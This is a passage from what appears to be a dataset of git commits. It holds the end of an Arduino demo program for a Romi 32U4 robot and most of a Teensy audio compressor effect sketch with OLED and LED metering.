motorDemoHelper(false);\n}\n\n\/\/ Motor demo with encoder counts.\nvoid encoderDemo()\n{\n motorDemoHelper(true);\n}\n\nconst char fugue[] PROGMEM =\n \"! T120O5L16agafaea dac+adaea fa<aa<bac#a dac#adaea f\"\n \"O6dcd<b-d<ad<g d<f+d<gd<ad<b- d<dd<ed<f+d<g d<f+d<gd<ad\"\n \"L8MS<b-d<b-d MLe-<ge-<g MSc<ac<a MLd<fd<f O5MSb-gb-g\"\n \"ML>c#e>c#e MS afaf ML gc#gc# MS fdfd ML e<b-e<b-\"\n \"O6L16ragafaea dac#adaea fa<aa<bac#a dac#adaea faeadaca\"\n \"<b-acadg<b-g egdgcg<b-g <ag<b-gcf<af dfcf<b-f<af\"\n \"<gf<af<b-e<ge c#e<b-e<ae<ge <fe<ge<ad<fd\"\n \"O5e>ee>ef>df>d b->c#b->c#a>df>d e>ee>ef>df>d\"\n \"e>d>c#>db>d>c#b >c#agaegfe fO6dc#dfdc#<b c#4\";\n\nconst char fugueTitle[] PROGMEM =\n \" Fugue in D Minor - by J.S. Bach \";\n\n\/\/ Play a song on the buzzer and display its title.\nvoid musicDemo()\n{\n displayBackArrow();\n\n uint8_t fugueTitlePos = 0;\n uint16_t lastShiftTime = millis() - 2000;\n\n while (buttonMonitor() != 'B')\n {\n \/\/ Shift the song title to the left every 250 ms.\n if ((uint16_t)(millis() - lastShiftTime) > 250)\n {\n lastShiftTime = millis();\n\n lcd.gotoXY(0, 0);\n for (uint8_t i = 0; i < 8; i++)\n {\n char c = pgm_read_byte(fugueTitle + fugueTitlePos + i);\n lcd.print(c);\n }\n fugueTitlePos++;\n\n if (fugueTitlePos + 8 >= strlen(fugueTitle))\n {\n fugueTitlePos = 0;\n }\n }\n\n if (!buzzer.isPlaying())\n {\n buzzer.playFromProgramSpace(fugue);\n }\n }\n}\n\n\/\/ Display the the battery (VIN) voltage and indicate whether USB\n\/\/ power is detected.\nvoid powerDemo()\n{\n displayBackArrow();\n\n uint16_t lastDisplayTime = millis() - 2000;\n char buf[6];\n\n while (buttonMonitor() != 'B')\n {\n if ((uint16_t)(millis() - lastDisplayTime) > 250)\n {\n bool usbPower = usbPowerPresent();\n\n uint16_t batteryLevel = readBatteryMillivolts();\n\n lastDisplayTime = millis();\n lcd.gotoXY(0, 0);\n sprintf(buf, \"%5d\", batteryLevel);\n lcd.print(buf);\n lcd.print(F(\" mV\"));\n lcd.gotoXY(3, 1);\n lcd.print(F(\"USB=\"));\n lcd.print(usbPower ? 'Y' : 'N');\n }\n }\n}\n\nMenu::Item mainMenuItems[] = {\n { \"LEDs\", ledDemo },\n { \"Inertial\", inertialDemo },\n { \"Magnet\", magnetometerDemo },\n { \"Motors\", motorDemo },\n { \"Encoders\", encoderDemo },\n { \"Music\", musicDemo },\n { \"Power\", powerDemo },\n};\nMenu mainMenu(mainMenuItems, 7);\n\n\/\/ This function watches for button presses. If a button is\n\/\/ pressed, it beeps a corresponding beep and it returns 'A',\n\/\/ 'B', or 'C' depending on what button was pressed. If no\n\/\/ button was pressed, it returns 0. This function is meant to\n\/\/ be called repeatedly in a loop.\nchar buttonMonitor()\n{\n if (buttonA.getSingleDebouncedPress())\n {\n buzzer.playFromProgramSpace(beepButtonA);\n return 'A';\n }\n\n if (buttonB.getSingleDebouncedPress())\n {\n buzzer.playFromProgramSpace(beepButtonB);\n return 'B';\n }\n\n if (buttonC.getSingleDebouncedPress())\n {\n buzzer.playFromProgramSpace(beepButtonC);\n return 'C';\n }\n\n return 0;\n}\n\nvoid setup()\n{\n initInertialSensors();\n\n loadCustomCharacters();\n\n bool brownout = MCUSR >> BORF & 1;\n MCUSR = 0;\n if (brownout)\n {\n \/\/ The AVR was reset by a brownout reset\n \/\/ (VCC dropped below 4.3 V).\n \/\/ Play a special sound and display a note to the user.\n\n buzzer.playFromProgramSpace(beepBrownout);\n lcd.clear();\n lcd.print(F(\"Brownout\"));\n lcd.gotoXY(0, 1);\n lcd.print(F(\" reset! \"));\n delay(1000);\n }\n else\n {\n buzzer.playFromProgramSpace(beepWelcome);\n }\n\n lcd.clear();\n lcd.print(F(\" Romi\"));\n lcd.gotoXY(2, 1);\n lcd.print(F(\"32U4\"));\n\n delay(1000);\n\n lcd.clear();\n lcd.print(F(\"Demo\"));\n lcd.gotoXY(0, 1);\n lcd.print(F(\"Program\"));\n delay(1000);\n\n lcd.clear();\n lcd.print(F(\"Use B to\"));\n lcd.gotoXY(0, 1);\n lcd.print(F(\"select.\"));\n delay(1000);\n\n lcd.clear();\n lcd.print(F(\"Press B\"));\n lcd.gotoXY(0, 1);\n lcd.print(F(\"-try it!\"));\n\n while (buttonMonitor() != 'B'){}\n\n buzzer.playFromProgramSpace(beepThankYou);\n lcd.clear();\n lcd.print(F(\" Thank\"));\n lcd.gotoXY(0, 1);\n lcd.print(F(\" you!\"));\n delay(1000);\n}\n\n\/\/ This function prompts the user to choose something from the\n\/\/ main menu, runs their selection, and then returns.\nvoid mainMenuSelect()\n{\n lcd.clear();\n lcd.print(F(\" Main\"));\n lcd.gotoXY(0, 1);\n lcd.print(F(\" Menu\"));\n delay(1000);\n mainMenu.select();\n}\n\nvoid loop()\n{\n mainMenuSelect();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Demo\/Demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"567189057519b0fe1c7a67c2ad1fb12968d8eaae","subject":"Initial upload","message":"Initial upload\n\nBasic functions works. Presets not working yet. Use the OEP board 2_2","repos":"OnkartGromt\/OpenEffectsProject","old_file":"GrompressorFloat_1_1.ino","new_file":"GrompressorFloat_1_1.ino","new_contents":"#include <Adafruit_GFX.h>\n\n\/*\nGrompressor1.ino\nCompressor effect using floating point core. Thanks to Chip Audette! \nThanks to Paul Stoffregen, www.PJRC.com, that made the great audio library fro Teensy! Plus all the other great stuff!\nThis code can be loaded into a Teensy3.5\/3.6 with a OnkartGromt OpenEffects project platform. Use a I2C 64x128 OLED screen to show the graphics. \nHold the On\/Off switch for 1 sek to edit the input gain with pot1. \nAll in all use the OpenEffectsBox ref2.2 from OnkartGromt with Teensy 3.5\/3.6\n *\/\n#include <EEPROM.h> \n#include <Bounce.h> \n#include <Audio.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <SD.h>\n#include <SerialFlash.h>\n#include <Adafruit_NeoPixel.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n#include <math.h>\n#include<string.h>\n#include <OpenAudio_ArduinoLibrary.h> \/\/for AudioConvert_I16toF32, AudioConvert_F32toI16, and AudioEffectGain_F32\nusing namespace std;\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\/\/Blue HW:\n#define PIN 8\n\/\/RED HW:\n\/\/#define PIN 3\n\n#define NUMPIXELS 10\n#define bands 6\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ GUItool: begin automatically generated code\nAudioInputI2S i2sAudioIn1; \/\/xy=144,485\nAudioConvert_I16toF32 int2Float2; \/\/xy=317,425\nAudioConvert_I16toF32 int2Float1; \/\/xy=342,549\nAudioEffectCompressor_F32 comp1; \/\/xy=510,549\nAudioEffectCompressor_F32 comp2; \/\/xy=511,425\nAudioConvert_F32toI16 float2Int2; \/\/xy=654,425\nAudioConvert_F32toI16 float2Int1; \/\/xy=670,549\nAudioMixer4 mixer1; \/\/xy=847,444\nAudioMixer4 mixer2; \/\/xy=851,542\nAudioAnalyzeNoteFrequency notefreq1;\nAudioOutputI2S i2sAudioOut1; \/\/xy=1022,482\nAudioConnection patchCord1(i2sAudioIn1, 0, int2Float2, 0);\nAudioConnection patchCord2(i2sAudioIn1, 0, mixer1, 1);\nAudioConnection patchCord3(i2sAudioIn1, 1, int2Float1, 0);\nAudioConnection patchCord4(i2sAudioIn1, 1, mixer2, 1);\nAudioConnection_F32 patchCord5(int2Float2, comp2);\nAudioConnection_F32 patchCord6(int2Float1, comp1);\nAudioConnection_F32 patchCord7(comp1, float2Int1);\nAudioConnection_F32 patchCord8(comp2, float2Int2);\nAudioConnection patchCord9(float2Int2, 0, mixer1, 0);\nAudioConnection patchCord10(float2Int1, 0, mixer2, 0);\nAudioConnection patchCord11(mixer1, 0, i2sAudioOut1, 0);\nAudioConnection patchCord12(mixer2, 0, i2sAudioOut1, 1);\nAudioControlSGTL5000 sgtl5000; \/\/xy=385,640\n\/\/ GUItool: end automatically generated code\nAudioAnalyzeRMS rms1, rms2, rms3, rms4; \/\/peak indicator\/detection\nAudioConnection patchCord22(i2sAudioIn1, 0, rms2, 0);\nAudioConnection patchCord23(i2sAudioIn1, 1, rms1, 0);\nAudioConnection patchCord24(float2Int1, 0, rms3, 0);\nAudioConnection patchCord25(float2Int1, 0, rms4, 0);\nAudioConnection patchCord26(float2Int1, 0, notefreq1, 0);\n\n\/\/Pinout board rev1\nint Pot1 = A6; \/\/ select the input pin for the potentiometer\nint Pot2 = A3; \/\/ select the input pin for the potentiometer\nint Pot3 = A2; \/\/ select the input pin for the potentiometer\nint Pot4 = A1; \/\/ select the input pin for the potentiometer\nint CV1 = A10;\nint CV2 = A11;\n\n\/\/For the RED pcb\n\/\/int Tap1 = 0; \n\/\/int Tap2 = 1;\n\n\/\/For Blue\/black PCB:\nint Tap1 = 2;\nint Tap2 = 3;\n\nint SW1 = A12;\nint SW2 = A13;\n\n\/\/int ledPin1 = 3; \/\/ select the pin for the LED strip\nint relayL = 4; \/\/ select the pin for the RelayL\nint relayR = 5; \/\/ select the pin for the RelayR\n\n\/\/Variables for values\nboolean Tap1Value = 0;\nboolean Tap2Value = 0;\nfloat Pot1Value = 0; \nfloat Pot2Value = 0; \nfloat Pot3Value = 0; \nfloat Pot4Value = 0; \nint SW1Value = 0;\nint SW2Value = 0;\nfloat CV1Value = 0;\nfloat CV2Value = 0;\nfloat Pot1ValueOld = 0; \/\/ variable to store the previous value\nfloat Pot2ValueOld = 0; \nfloat Pot3ValueOld = 0; \nfloat Pot4ValueOld = 0; \nint SW1ValueOld = 0;\nint SW2ValueOld = 0;\nint Tap1ValueOld = 1;\nint Tap2ValueOld = 1;\nint CV1ValueOld = 0;\nint CV2ValueOld = 0;\nint Tap1Timer = 0;\nint Tap2Timer = 0;\nfloat margin = 0.1;\n\/\/int modulationMode = 0;\nboolean Tap2Pressed = 0;\n\/\/int filterOrder = 24;\n\/\/float ffund = 0;\n\n\/\/ Variables \nint ledStateONOFF = LOW; \/\/ the current state of the output pin\nint ledStateONOFF_old = LOW;\nint buttonState0; \/\/ the current reading from the input pin\nint lastButtonState0 = LOW; \/\/ the previous reading from the input pin\nint ledStateBOOST = LOW; \/\/ the current state of the output pin\nint buttonState1; \/\/ the current reading from the input pin\nint lastButtonState1 = LOW; \/\/ the previous reading from the input pin\n\nunsigned long lastDebounceTime0 = 0; \/\/ the last time the output pin was toggled\nunsigned long lastDebounceTime1 = 0; \/\/ the last time the output pin was toggled\nunsigned long debounceDelay = 40; \/\/ the debounce time; increase if the output flickers\n\nfloat peak = 0.0;\nfloat peak_2 = 0.0;\nfloat peak_3 =0.0;\nfloat peak_4 =0.0;\nfloat level = 1;\nfloat InLevel = 1;\nfloat outLevel = 1;\nfloat inLevel = 0.05;\nfloat bypassLevel = 0.42;\nfloat mixer3Level = 1.0;\nint lastParam = 0;\n\nint updateParam = 0;\nfloat maxGain = 0;\nfloat response = 0;\nfloat thres = -18;\nfloat hardLimit = 0;\nfloat attack_1 = 0.01f;\nfloat decay_1 = 0.2f;\nint Ratio = 3;\nint inlevel = 5;\n\nstruct presets {\n float thres;\n float attack_1;\n float decay_1;\n int Ratio;\n int inputGain;\n int actualPreset;\n} ;\n\/\/new version:\n\nfloat levelBand[bands] = {30,35, 40, 25, 50,60};\nfloat levelBandScaled[bands] = {30,35, 40, 25, 50,60};\nfloat levelBanddB[bands] = {0,0,0, 0, 0,0};\nunsigned int freqBand[bands] = {30, 160, 320, 640, 2000,16000};\nfloat freqBandDefault[bands] = {80, 160, 320, 640, 2000,16000};\nfloat freqBandScaled[bands] = {4, 12, 32, 64, 110,110};\nfloat slopeBand[bands] = {.7,.7,.7,.7,.7,.7};\nfloat Qlevel[bands] = {1,1,1,1,1,1};\nint updateFilter = 1;\nint savePreset = 0;\nint loadPreset = 0;\nint actualPreset = 1;\nint numberOfPresets = 10;\nunsigned char loByte;\nunsigned char hiByte;\nuint32_t off =pixels.Color(0,0,0);\nuint32_t blue =pixels.Color(0,0,50);\nuint32_t red =pixels.Color(0,50,0);\nuint32_t green =pixels.Color(0,40,0);\nuint32_t yellow =pixels.Color(40,40,0);\nint VUlag = 0;\nconst int myInput = AUDIO_INPUT_LINEIN;\n\nBounce OnOff = Bounce(Tap1, 30 ); \nBounce BoostOnOff = Bounce(Tap2, 30); \nelapsedMillis holdTime;\nelapsedMillis tapInterval; \/\/timer that is used for tap tempo\n\nvoid setup() {\n AudioMemory(60);\n AudioMemory_F32(40); \/\/allocate Float32 audio data blocks\n pixels.begin();\n for (int i = 0;i<NUMPIXELS;i++){\n pixels.setPixelColor(i,off);\n } \n pixels.setPixelColor(0,green);\n pixels.show();\n InLevel = float(EEPROM.read(0)\/255.0);\n outLevel = float(EEPROM.read(1));\n sgtl5000.enable(); \/\/ Enable the audio shield\n sgtl5000.inputSelect(myInput);\n sgtl5000.volume(0.8);\n sgtl5000.lineInLevel(15); \/\/ 3.12Vp-p\n sgtl5000.lineOutLevel(21); \/\/ 3.16Vp-p\n sgtl5000.adcHighPassFilterDisable(); \n \/\/READ PRESET FROM EEPROM\n if (EEPROM.read(10) == 0) EEPROM.write(10,1);\n \n \/\/pinMode(ledPin1, OUTPUT); ONLY WITH RED BOARD\n pinMode(relayL, OUTPUT);\n pinMode(relayR, OUTPUT);\n pinMode(Tap1, INPUT);\n pinMode(Tap2, INPUT);\n \n mixer1.gain(0, 1);\n mixer1.gain(1, 0);\n mixer1.gain(2, 0); \n mixer1.gain(3, 0); \n mixer2.gain(0, 1);\n mixer2.gain(1, 0);\n mixer2.gain(2, 0); \n mixer2.gain(3, 0); \n \n sgtl5000.inputSelect(myInput);\n sgtl5000.dacVolume (level);\n sgtl5000.autoVolumeControl(0,0,0,0.7,50,100); \/\/maxGain,response,hard limit,threshold,attack, decay\n sgtl5000.autoVolumeDisable();\n sgtl5000.audioPostProcessorEnable();\n sgtl5000.eqSelect(3);\n sgtl5000.eqBands(0,0,0,-1.0,-1.0);\n sgtl5000.dacVolumeRamp();\n Serial.begin(115200);\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3C (for the 128x64)\n display.clearDisplay();\n pixels.show();\n delay(100);\n Serial.println(\"setup complete\");\n}\n\n\/\/Main loop\nvoid loop() {\n OnOff.update(); \/\/update the bounce\n BoostOnOff.update();\n\n \/\/ read the value from the pots and buttons:\n Pot1Value = analogRead(Pot1); \/\/Level\n Pot2Value = analogRead(Pot2); \/\/Width\n Pot3Value = analogRead(Pot3); \/\/Freq\n Pot4Value = analogRead(Pot4); \/\/Mode\n Tap1Value = digitalRead(Tap1); \/\/On off\n Tap2Value = digitalRead(Tap2); \/\/Mode\/Tap\n SW1Value = analogRead(SW1); \/\/Filter char\n SW2Value = analogRead(SW2); \/\/Direction\n\n SW1Value = map(SW1Value, 0, 1023, 5, 0); \/\/Filter char\n SW1Value = constrain(SW1Value, 1, 5);\n SW2Value = map(SW2Value, 0, 1023, 5, 0); \/\/Direction\n SW2Value = constrain(SW2Value, 1, 5);\n\n\/\/********************ON -OFF handling**********************\n buttonState0 = OnOff.read();\n if (lastButtonState0 != buttonState0){ \n \/\/ only toggle the state if the new button state is HIGH\n if (buttonState0 == LOW) {\n ledStateONOFF = !ledStateONOFF;\n }\n }\n buttonState1 = BoostOnOff.read();\n if (lastButtonState1 != buttonState1){ \n \/\/ only toggle the state if the new button state is HIGH\n if (buttonState1 == LOW) {\n ledStateBOOST = !ledStateBOOST;\n }\n } \n \/\/ set the outputs:\n if (ledStateONOFF != ledStateONOFF_old){ \n pixels.setPixelColor(2, pixels.Color(ledStateONOFF*30,(ledStateONOFF*30),ledStateONOFF*30)); \/\/ ONOFF bright white color. \n digitalWrite(relayL, ledStateONOFF); \n digitalWrite(relayR, ledStateONOFF);\n ledStateONOFF_old = ledStateONOFF; \n pixels.show(); \/\/ This sends the updated pixel color to the hardware. \n }\n lastButtonState0 = buttonState0; \/\/save readings to next round\n lastButtonState1 = buttonState1;\n \n\/\/********************PRESET handling**********************\n\/\/\nif (SW2Value == 1){\n actualPreset--;\n if (actualPreset <0)actualPreset = numberOfPresets;\n delay(50);\n }\nif (SW2Value == 5){\n actualPreset++;\n if (actualPreset > numberOfPresets)actualPreset =0;\n delay(50);\n }\n \n\/\/******************** Handle user inputs ********************** \n\nif (SW1Value == 1){\n Ratio ++;\n if (Ratio >=20)Ratio = 20;\n updateParam = 1;\n }\nif (SW1Value == 5){\n Ratio --;\n if (Ratio <=0)Ratio = 1;\n updateParam = 1;\n }\nint margin = 3;\n \nif ((Pot1Value > Pot1ValueOld+ margin) || (Pot1Value < Pot1ValueOld - margin)){ \/\/LEVEL adjust\n inlevel = map(Pot1Value, 0, 1023, 15, 0); \n sgtl5000.lineInLevel(inlevel); \/\/ 3.12Vp-p\n updateParam = 1;\n}\n\nif ((Pot2Value > Pot2ValueOld+ margin) || (Pot2Value < Pot2ValueOld - margin)){ \/\/Threshold values\n thres = map(Pot2Value, 0, 1023, 0,-70.0f); \n updateParam = 1;\n}\n\nif ((Pot3Value > Pot3ValueOld+ margin) || (Pot3Value < Pot3ValueOld - margin)) { \/\/Attack\n attack_1 = mapfloat(Pot3Value, 0, 1023, 0.2f,0.001f); \n Serial.println(attack_1);\n \n updateParam = 1;\n}\n\nif ((Pot4Value > Pot4ValueOld+ margin) || (Pot4Value < Pot4ValueOld - margin)){ \/\/Release\n decay_1 = mapfloat(Pot4Value, 0, 1023,2.0, 0.02); \n updateParam = 1; \n Serial.println(decay_1);\n}\nif (updateParam == 1){\n \/\/configure the left and right compressors with the new settings\n boolean use_HP_filter = true; \/\/enable the software HP filter to get rid of DC\n setupMyCompressors(use_HP_filter, thres, Ratio, attack_1, decay_1);\n updateParam = 0;\n }\n\n\/\/********************Load and saving presets **********************\nif (BoostOnOff.fallingEdge()){\n holdTime = 0;\n Serial.println(\"pushed\");\n }\nif (!BoostOnOff.read() && holdTime >1500) {\n savePreset = 1; \n pixels.setPixelColor(1, green); \n pixels.show();\n Serial.println(holdTime);\n Serial.println(\"Save\");\n\n }\nelse if (BoostOnOff.risingEdge() && (holdTime >600) && (holdTime <1500)) {\n actualPreset++; \n if (actualPreset >=10)actualPreset = 0;\n loadPreset = 1;\n pixels.setPixelColor(1, red); \n pixels.show();\n Serial.print(\"Loading new Preset: \");\n Serial.println(actualPreset);\n delay(500);\n } \nelse if (BoostOnOff.risingEdge()){\n loadPreset = 1;\n Serial.print(\"Load\");\n Serial.println(holdTime);\n }\n \n \nif (savePreset == 1){\n \/*\n uint16_t value = (uint16_t)(levelBand[i]*100);\n loByte = uint8_t(value & 0x00ff);\n hiByte = uint8_t((value >> 8 )& 0x00ff); \n EEPROM.write(20+2*i+actualPreset*70,(loByte));\n EEPROM.write(20+1+2*i+actualPreset*70,(hiByte));\n value = (uint16_t)(slopeBand[i]*100); \n loByte = uint8_t(value & 0x00ff);\n hiByte = uint8_t((value >> 8 )& 0x00ff); \n EEPROM.write(40+2*i+actualPreset*70,(loByte)); \n EEPROM.write(40+1+2*i+actualPreset*70,(hiByte)); \n loByte = uint8_t(freqBand[i] & 0x00ff);\n hiByte = uint8_t((freqBand[i] >> 8 )& 0x00ff); \n EEPROM.write(60+2*i+actualPreset*70,loByte);\n EEPROM.write(60+1+2*i+actualPreset*70,hiByte);\n *\/\nprintParameters(&Serial); \n \n \n Serial.print(\"Saved\");\n Serial.println(actualPreset); \n display.setCursor(68, 10);\n display.print(\"SAVED\");\n display.display();\n delay(1000);\n savePreset = 0;\n } \n\nif (loadPreset ==1){\n\n \/*\n unsigned int hg[i];\n loByte= EEPROM.read(20+2*i+actualPreset*70);\n hiByte= EEPROM.read(20+1+2*i+actualPreset*70);\n levelBand[i] = (float)((hiByte << 8) | loByte)\/100; \n loByte= EEPROM.read(40+2*i+actualPreset*70); \n hiByte= EEPROM.read(40+1+2*i+actualPreset*70);\n slopeBand[i] = (float)((hiByte << 8) | loByte)\/100; \n loByte = EEPROM.read(60+2*i+actualPreset*70); \n hiByte = EEPROM.read(60+1+i*2+actualPreset*70); \n freqBand[i] = (hiByte << 8) | loByte;\n *\/\n \n printParameters(&Serial);\n \n Serial.print(\"loading..\");\n Serial.println(actualPreset);\n loadPreset = 0;\n updateParam=1;\n display.setCursor(68, 10);\n display.print(\"LOAD\");\n display.display();\n delay(500);\n } \ndisplay.clearDisplay();\n\n\/\/*******************INPUT\/OUTPUT LEVEL ADJUST************************\nif (SW1Value == 5){ \/\/LP pos for input level\n if (!Tap1Value && (Tap1Value == Tap1ValueOld)){ \/\/When Mode\/tap is held down you can adjust the input gain of the input\n \/\/ Serial.print(\"TIME\");\n Tap1Timer++;\n if (Tap1Timer > 15){\n InLevel = analogRead(Pot1);\n InLevel = mapfloat(InLevel,0,1023,10,1);\n InLevel = InLevel * inLevel; \/\/multiply by constant inLevel\n delay(100); \n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(5, 10);\n display.print(\"Input:\");\n display.print(InLevel); \n display.display();\n }\n }\n else if (Tap1Timer > 15){ \/\/only write to EEPROM once\n EEPROM.write(0, InLevel*255);\n \/\/ Serial.println(InLevel);\n Tap1Timer = 0;\n }\n else if (Tap1Value){\n \/\/ peak = peak1.read(); \/\/read the signal output peak\n if (peak == -1)(peak = 0);\n \/\/analogWrite(ledPin2, peak*100);\n \/\/pixels.setPixelColor(1, pixels.Color(peak*100,peak*100,0));\n \/\/pixels.show();\n }\n}\n\nif (SW1Value == 1){ \/\/HP pos for Output level\n if (!Tap1Value && (Tap1Value == Tap1ValueOld)){ \/\/When Mode\/tap is held down you can adjust the input gain of the input\n \/\/ Serial.print(\"TIME\");\n Tap1Timer++;\n if (Tap1Timer > 15){\n outLevel = analogRead(Pot1);\n outLevel = mapfloat(outLevel,0,1023,10,1);\n delay(100);\n \/\/ analogWrite(ledPin2, 255); \n \/\/pixels.setPixelColor(1, pixels.Color(70,70,0));\n \/\/display.clearDisplay(); \n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(5, 10);\n display.print(\"Output:\");\n display.print(outLevel); \n display.display();\n }\n }\n else if (Tap1Timer > 15){ \/\/only write to EEPROM once\n EEPROM.write(1, outLevel);\n Tap1Timer = 0;\n }\n else if (Tap1Value){\n \/\/ peak = peak1.read(); \/\/read the signal output peak\n if (peak == -1)(peak = 0);\n \/\/analogWrite(ledPin2, peak*100);\n \/\/pixels.setPixelColor(1, pixels.Color((peak)*100,(peak)*100,0));\n \/\/pixels.show();\n }\n}\n\n \/\/\/\/\/\/ VU meter \/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Gain reduction meter\n\nfor(int i=NUMPIXELS;i>=3;i--){\n float reduction = abs(comp1.getCurrentGain_dB());\n int lvl = NUMPIXELS-(reduction\/5); \/\/120*7=840\n int grade = 360+reduction*960;\n \/\/Serial.println(peak_2);\n grade = grade -(120*lvl);\n\n if ((i > lvl)&&(i == 5))pixels.setPixelColor(i,yellow); \/\/ yellow color.\n if ((i > lvl)&&(i == 4))pixels.setPixelColor(i,red); \/\/ red color.\n else if (i > lvl)pixels.setPixelColor(i,green); \/\/ green color.\n \/\/else if (i == lvl){\n \/\/ pixels.setPixelColor(i, pixels.Color(grade,0,0)); \/\/ green color.\n \/\/}\n else {\n pixels.setPixelColor(i,off); \/\/ no color\n }\n}\n pixels.show(); \/\/ This sends the updated pixel color to the hardware. \n\n\/\/\/\/\/\/\/\/\/\/\/end VU meter\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/PLOTTING OF COMPRESSOR CURVE\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Draw background:\nint top = 20;\nint signalWidth = 6;\ndisplay.drawLine(0,top,128,top, WHITE);\ndisplay.drawLine(0,64,0,top, WHITE);\ndisplay.drawLine(signalWidth+1,64,signalWidth+1,top, WHITE);\ndisplay.drawLine(signalWidth*2+2,64,signalWidth*2+2,top, WHITE);\ndisplay.drawLine(127-signalWidth*2-2,64,127-signalWidth*2-2,top, WHITE);\ndisplay.drawLine(127-signalWidth-1,64,127-signalWidth-1,top, WHITE);\ndisplay.drawLine(127,64,127,top, WHITE);\n\nint thresh_disp = map(thres,0,-70,(64-top),10);\nint zeroX = signalWidth*2+8;\nint diffY = (64-thresh_disp) - top;\nint kneeX = zeroX+thresh_disp;\nint kneeY = 64-thresh_disp;\nint Xtop = kneeX + diffY*Ratio;\n\ndisplay.drawLine(zeroX,64, kneeX, kneeY, WHITE); \/\/first slope\ndisplay.drawLine(kneeX, kneeY, Xtop,top, WHITE); \/\/second slope\ndisplay.fillRect(127-signalWidth*2-1,top+1,signalWidth,(64-top),BLACK);\ndisplay.fillRect(127-signalWidth,top+1,signalWidth,(64-top),BLACK);\n\n \/\/read the signal input peak\nif (rms1.available()){\n peak = rms1.read();\n float peakDisp1 = top+((64-top)*(1-peak));\n display.fillRect(1,peakDisp1,signalWidth,(64),WHITE);\n }\n \nif (rms2.available()) {\n peak_2 = rms2.read(); \/\/Output peak\n float peakDisp2 = top+((64-top)*(1-peak_2));\n display.fillRect(2+signalWidth,peakDisp2,signalWidth,(64),WHITE);\n }\n\/\/draw gain reduction\n \/\/ (comp2.getCurrentGain_dB());\ndisplay.fillRect(127-signalWidth*2-1,top+1,signalWidth,abs(comp1.getCurrentGain_dB()),WHITE);\ndisplay.fillRect(127-signalWidth,top+1,signalWidth,abs(comp2.getCurrentGain_dB()),WHITE);\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/END PLOTTING\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/ VU meter \/\/\/\/\/\/\/\/\/\/\/\/\n \/*\nVUlag++;\nif (VUlag >0){\nfor(int i=3;i<=NUMPIXELS;i++){\n int lvl = 3+(peak_2*12); \/\/120*7=840\n int grade = 360+peak_2*960;\n \/\/Serial.println(peak_2);\n grade = grade -(120*lvl);\n if (i < lvl){\n pixels.setPixelColor(i, pixels.Color(80,0,0)); \/\/ green color.\n }\n else if (i == lvl){\n pixels.setPixelColor(i, pixels.Color(grade,0,0)); \/\/ green color.\n }\n else {\n pixels.setPixelColor(i, pixels.Color(0,0,0)); \/\/ no color\n }\n}\n pixels.show(); \/\/ This sends the updated pixel color to the hardware. \n \/\/ VUlag = 0;\n}\n*\/\n\/\/\/\/\/\/\/\/\/\/\/end VU meter\/\/\/\/\/\/\/\/\/\n \n \/\/ int cpuCap = AudioProcessorUsageMax();\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(10, 10);\n\n display.print(\"Th:\");\n display.print((int)thres); \n display.print(\"dB\"); \n \n display.setCursor(17, 23);\n display.print(Ratio); \n display.print(\":1\"); \n \n display.setCursor(100, 10);\n display.print(\"P:\");\n display.print(actualPreset); \n \n display.setCursor(30, 56);\n display.print(\"A:\");\n display.print((int)(attack_1*1000)); \n display.print(\"ms\");\n display.setCursor(70, 56);\n display.print(\" R:\");\n display.print((int)(decay_1*1000)); \n display.display();\n \n \/*\n Serial.print(\" Last: \");\n Serial.print(Pot1ValueOld);\n Serial.print(\" Last: \");\n Serial.println(Pot1Value);\n \n Serial.print(\" Freq2: \");\n Serial.print(freqBand[2]); \n Serial.print(\" Freq3: \");\n Serial.print(freqBand[3]); \n Serial.print(\" Freq4: \");\n Serial.print(freqBand[4]); \n Serial.print(\" Freq5: \");\n Serial.println(freqBand[5]); \n Serial.print(\" Peak2: \");\n Serial.println(peak_2); \n *\/\n Pot1ValueOld = Pot1Value;\n Pot2ValueOld = Pot2Value; \n Pot3ValueOld = Pot3Value;\n Pot4ValueOld = Pot4Value; \n SW1ValueOld = SW1Value;\n SW2ValueOld = SW2Value;\n Tap1ValueOld = Tap1Value;\n Tap2ValueOld = Tap2Value; \n CV1ValueOld = CV1Value;\n CV2ValueOld = CV2Value;\n\/\/ modFreqOld = modFreq;\n\/\/ spanfreqOld = spanfreq;\n\/\/ movingfreqOld = movingfreq;\n\n \/\/printCPUandMemoryUsage(&Serial);\n \/\/AudioInterrupts();\n \/\/AudioNoInterrupts();\n \/\/ pixels.show();\n\/\/printCompressorState(&Serial);\n\/* if (notefreq1.available()){\n Serial.println(notefreq1.read());\n }\n *\/\n}\n\nvoid printCompressorState(Stream *s) {\n s->print(\"Current Compressor: Pre-Gain (dB) = \");\n s->print(comp1.getPreGain_dB());\n s->print(\", Level (dBFS) = \");\n s->print(comp1.getCurrentLevel_dBFS());\n s->print(\", \");\n s->print(comp2.getCurrentLevel_dBFS());\n s->print(\", Dynamic Gain L\/R (dB) = \");\n s->print(comp1.getCurrentGain_dB());\n s->print(\", \");\n s->print(comp2.getCurrentGain_dB());\n s->println();\n};\n\nvoid printParameters(Stream *s) {\n s->print(\"Preset: \");\n s->print(actualPreset);\n s->print(\" InputGain: \");\n s->print(inLevel); \n s->print(\" Treshold: \");\n s->print(thres);\n s->print(\" Ratio: 1: \");\n s->print(Ratio); \n s->print(\" Attack: \");\n 